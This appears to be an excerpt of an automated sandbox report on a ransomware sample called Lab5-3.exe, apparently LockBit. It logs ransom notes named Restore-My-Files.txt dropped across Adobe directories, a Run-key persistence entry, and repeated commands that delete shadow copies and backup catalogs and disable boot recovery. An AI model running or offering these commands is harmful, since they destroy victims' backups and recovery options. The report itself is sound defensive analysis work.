Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior

Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\MakeAccessible.pdb source: MakeAccessible.api.lockbit.27.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\MakeAccessible.pdb< source: MakeAccessible.api.lockbit.27.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\ReadOutLoud.pdb source: Lab5-3.exe, 0000001B.00000003.2122488280.000000001C330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctF86A.tmp.lockbit.0.dr

Source: Lab5-3.exe

Static PE information: real checksum: 0x27126 should be: 0x26cfd

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407DF0 push eax; ret	19_2_00407E04
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00407DF0 push eax; ret	19_2_00407E2C
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407DF0 push eax; ret	27_2_00407E04
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00407DF0 push eax; ret	27_2_00407E2C

Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} recoveryenabled No
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled No
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures

Source: C:\Users\user\Desktop\Lab5-3.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XO1XADpO01			Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XO1XADpO01			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Creates files inside the volume driver (system volume information)

Source: C:\Windows\System32\wbengine.exe

File created: C:\System Volume Information\WindowsImageBackup

Source: C:\Users\user\Desktop\Lab5-3.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\vds.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Lab5-3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX

Malware Analysis System Evasion

